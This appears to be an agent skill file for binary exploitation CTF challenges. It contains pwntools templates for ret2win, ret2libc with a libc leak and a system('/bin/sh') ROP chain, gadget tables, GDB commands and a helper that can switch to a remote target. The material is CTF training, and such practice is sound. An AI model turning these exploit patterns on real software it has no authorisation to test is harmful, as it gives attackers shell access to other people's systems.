Binary Exploitation Patterns
When to Use
Load this skill when:
-
Solving binary exploitation (pwn) CTF challenges
-
Working with buffer overflows and stack-based vulnerabilities
-
Building ROP (Return-Oriented Programming) chains
-
Writing shellcode or exploits
-
Using pwntools for exploitation
-
Analyzing binaries with GDB, checksec, or strings
Binary Analysis Workflow
Step 1: Static Analysis First
Always begin with static analysis before dynamic exploitation.
Search for interesting strings
strings ./vuln | grep -iE "flag|password|key|secret|admin"
Check binary protections
checksec ./vuln
Examine file type and architecture
file ./vuln
Why? Static analysis reveals:
-
Hidden functionality and backdoor functions
-
Hardcoded credentials or flags
-
Security mitigations (PIE, NX, Stack Canary, RELRO)
-
Architecture (32-bit vs 64-bit, calling conventions)
Step 2: Decompile with Ghidra/IDA
Batch decompile with Ghidra headless mode (RECOMMENDED)
./ghidra_headless/decompile_headless.sh ./vuln output.c
Or use Python wrapper (legacy)
python tools/decompile.py ./vuln
Or manually open in Ghidra GUI
ghidra
Key things to look for:
-
Dangerous functions: gets() , strcpy() , scanf() , read() with no bounds
-
Win functions: system("/bin/sh") , execve() , print_flag()
-
Buffer sizes vs input sizes
-
Comparison operations (password checks, admin checks)
Protection Analysis Table
Protection Status Exploitation Strategy
PIE Enabled Need address leak for code/data addresses
PIE Disabled Can use hardcoded addresses directly
NX Enabled Cannot execute shellcode on stack, use ROP
NX Disabled Can write shellcode to buffer and execute
Stack Canary Enabled Need canary leak or bypass technique
Stack Canary Disabled Direct buffer overflow exploitation
RELRO Full Enabled Cannot overwrite GOT entries
RELRO Partial Enabled Can overwrite GOT for hijacking
Exploitation Patterns
Pattern 1: Find Buffer Overflow Offset
from pwn import *
Generate cyclic pattern
io = process('./vuln') payload = cyclic(500) io.sendline(payload) io.wait()
After crash, examine core dump or GDB
Find the offset where control is hijacked
core = Coredump('./core') offset = cyclic_find(core.read(core.rsp, 4)) # x86_64
or
offset = cyclic_find(core.read(core.eip, 4)) # x86
log.info(f"Offset: {offset}")
Alternative: Manual offset finding
Use offset_finder.py from tools/
python tools/offset_finder.py ./vuln
Pattern 2: Basic ret2win (Call Win Function)
from pwn import *
exe = "./vuln" elf = context.binary = ELF(exe, checksec=False) context.log_level = "debug"
Find win function address
win_addr = elf.symbols['win'] # or elf.symbols['print_flag']
Build payload
payload = flat({ offset: [ win_addr ] })
io = process(exe) io.sendline(payload) io.interactive()
Pattern 3: ret2libc (Leak + System)
Stage 1: Leak libc address
from pwn import *
exe = "./vuln" elf = context.binary = ELF(exe, checksec=False) libc = ELF("./libc.so.6") # or ELF("/lib/x86_64-linux-gnu/libc.so.6") rop = ROP(elf)
Build ROP chain to leak puts@GOT
payload = flat({ offset: [ rop.find_gadget(['pop rdi', 'ret'])[0], elf.got['puts'], elf.plt['puts'], elf.symbols['main'] # Return to main for second exploit ] })
io = process(exe) io.sendline(payload) io.recvuntil(b"expected_output") leak = u64(io.recvline().strip().ljust(8, b'\x00')) log.info(f"Leaked puts@GOT: {hex(leak)}")
Calculate libc base
libc.address = leak - libc.symbols['puts'] log.success(f"Libc base: {hex(libc.address)}")
Stage 2: Call system("/bin/sh")
Find /bin/sh string in libc
bin_sh = next(libc.search(b'/bin/sh\x00'))
Build final ROP chain
payload2 = flat({ offset: [ rop.find_gadget(['ret'])[0], # Stack alignment (required for movaps) rop.find_gadget(['pop rdi', 'ret'])[0], bin_sh, libc.symbols['system'] ] })
io.sendline(payload2) io.interactive()
Pattern 4: Auto-Switch Start Function
Use this template for all pwn scripts:
from pwn import *
exe = "./vuln" elf = context.binary = ELF(exe, checksec=False) context.log_level = "debug" context.terminal = ["tmux", "splitw", "-h"]
def start(argv=[], *a, **kw): """Start the exploit in different modes""" if args.GDB: gdbscript = """ b *main continue """ return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote(sys.argv[1], int(sys.argv[2]), *a, **kw) else: return process([exe] + argv, *a, **kw)
Usage:
python solve.py # Local process
python solve.py GDB # Debug with GDB
python solve.py REMOTE IP PORT # Remote connection
Pattern 5: ROP Chain Construction
from pwn import *
elf = ELF("./vuln") rop = ROP(elf)
Method 1: Automatic ROP chain
rop.call('puts', [elf.got['puts']]) rop.call('main')
Method 2: Manual gadget selection
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] pop_rsi_r15 = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0] ret = rop.find_gadget(['ret'])[0]
payload = flat({ offset: [ ret, # Stack alignment pop_rdi, elf.got['puts'], elf.plt['puts'], elf.symbols['main'] ] })
Quick Reference
Pwntools Essential Commands
Task Command
Generate cyclic pattern cyclic(500)
Find offset from crash cyclic_find(b'caaa') or cyclic_find(0x61616161)
Pack 64-bit integer p64(0x401000)
Pack 32-bit integer p32(0x08048000)
Unpack 64-bit bytes u64(data.ljust(8, b'\x00'))
Unpack 32-bit bytes u32(data.ljust(4, b'\x00'))
Launch with GDB gdb.debug([exe], gdbscript=script)
Connect remote remote(host, port)
Local process process([exe])
Build structured payload flat({offset: [gadget1, gadget2]})
Find ROP gadgets rop.find_gadget(['pop rdi', 'ret'])
Search bytes in binary next(elf.search(b'/bin/sh'))
Common ROP Gadgets (x86_64)
System call setup
pop_rdi = 0x400123 # pop rdi; ret (1st argument) pop_rsi = 0x400456 # pop rsi; ret (2nd argument) pop_rdx = 0x400789 # pop rdx; ret (3rd argument) pop_rax = 0x400abc # pop rax; ret (syscall number)
Stack alignment (REQUIRED for recent libc)
ret = 0x400001 # ret
Useful symbols
bin_sh = next(elf.search(b'/bin/sh\x00')) system = elf.symbols['system'] # or libc.symbols['system']
GDB Essential Commands
Pwndbg commands
checksec # Check binary protections vmmap # Memory mapping telescope $rsp 20 # Stack view cyclic 200 # Generate pattern cyclic -l 0x61616161 # Find offset rop # Search ROP gadgets rop --grep "pop rdi" # Filter gadgets got # GOT entries plt # PLT entries
Standard GDB
b *main # Breakpoint at address b *0x401234 x/20gx $rsp # Examine stack (64-bit) x/20wx $esp # Examine stack (32-bit) x/20i $rip # Disassemble info registers # Register values set $rax = 0 # Modify register
CTF-Specific Tips
Extract Flags Automatically
import re
def extract_flag(data): """Extract common CTF flag formats""" patterns = [ r'flag{[^}]+}', r'FLAG{[^}]+}', r'CTF{[^}]+}', r'picoCTF{[^}]+}', r'HTB{[^}]+}', r'[a-zA-Z0-9_]+{[a-zA-Z0-9_@!?-]+}', ]
text = data if isinstance(data, str) else data.decode('latin-1')
for pattern in patterns:
match = re.search(pattern, text)
if match:
return match.group(0)
return None
Usage
io.recvuntil(b"output") data = io.recvall() flag = extract_flag(data) if flag: log.success(f"Flag: {flag}")
One-Gadget Usage
Find one-gadgets in libc (requires one_gadget gem)
one_gadget libc.so.6
Use in exploit
one_gadget = libc.address + 0x4f3d5 # Offset from one_gadget output payload = flat({offset: one_gadget})
Anti-Patterns (Avoid These)
❌ Don't: Skip Static Analysis
BAD: Jumping straight to buffer overflow without understanding the binary
offset = 72 # Guessed payload = b'A' * offset + p64(0xdeadbeef)
Why it's bad: You might miss:
-
Easier solutions (hardcoded flags, win functions)
-
Critical constraints (length checks, character filters)
-
Security mitigations that require different approaches
❌ Don't: Hardcode Addresses with PIE/ASLR
BAD: Hardcoded libc addresses
system_addr = 0x7ffff7a52290 # This won't work with ASLR
GOOD: Calculate from leak
libc.address = leak - libc.symbols['puts'] system_addr = libc.symbols['system']
❌ Don't: Forget Stack Alignment
BAD: Direct call to system() may crash
payload = flat({offset: [pop_rdi, bin_sh, system]})
GOOD: Add 'ret' gadget for alignment (movaps requirement)
payload = flat({offset: [ret, pop_rdi, bin_sh, system]})
❌ Don't: Ignore Error Messages
BAD: Blindly sending payload without checking responses
io.sendline(payload) io.interactive()
GOOD: Check for errors and debug
io.sendline(payload) response = io.recvuntil(b"expected", timeout=2) if b"error" in response or b"invalid" in response: log.error("Exploit failed, check payload") exit(1) io.interactive()
Bundled Resources
Templates
All templates use the auto-switch start function for easy testing:
-
templates/pwn_basic.py
-
Basic buffer overflow template
-
templates/pwn_rop.py
-
ROP chain + ret2libc template
-
templates/angr_template.py
-
Symbolic execution with angr
Tools
Helper scripts for common tasks:
-
tools/checksec_quick.sh
-
Quick security check wrapper
-
tools/offset_finder.py
-
Automated offset calculation
-
tools/leak_parser.py
-
Parse and format address leaks
-
tools/libc_lookup.py
-
Identify libc version from leaks
-
tools/rop_chain_skeleton.py
-
Generate ROP chain templates
-
tools/patch_ld_preload.sh
-
Patch binary to use specific libc
Ghidra Headless Decompilation
-
ghidra_headless/
-
Automated decompilation without GUI
-
ghidra_headless/decompile_headless.sh
-
Wrapper script for batch decompilation
-
ghidra_headless/DecompileCLI.java
-
Ghidra Java script for headless operation
-
ghidra_headless/README.md
-
Detailed usage and troubleshooting guide
Gadget Finders
-
gadgets/find_gadgets_ropgadget.sh
-
ROPgadget wrapper
-
gadgets/find_gadgets_ropper.sh
-
Ropper wrapper
-
gadgets/find_gadgets_rpplus.sh
-
rp++ wrapper
-
gadgets/one_gadget_notes.md
-
One-gadget usage guide
Quick References
-
references/quickref_gadgets.md
-
Common ROP gadgets reference
-
references/quickref_gdb.md
-
GDB command cheatsheet
-
references/gdb_cheatsheet.md
-
Detailed GDB guide
-
references/ret2libc_checklist.md
-
Step-by-step ret2libc guide
-
references/usage_guide.md
-
Tool usage instructions
GDB Configuration
- gdb_init/
- GDB initialization scripts for pwndbg, GEF, peda
Keywords
pwn, binary exploitation, buffer overflow, stack overflow, ROP, ROP chain, return-oriented programming, shellcode, pwntools, CTF, checksec, cyclic, gadgets, GOT, PLT, libc leak, ret2libc, ret2win, format string, GDB, pwndbg, reverse engineering, binary analysis, exploit development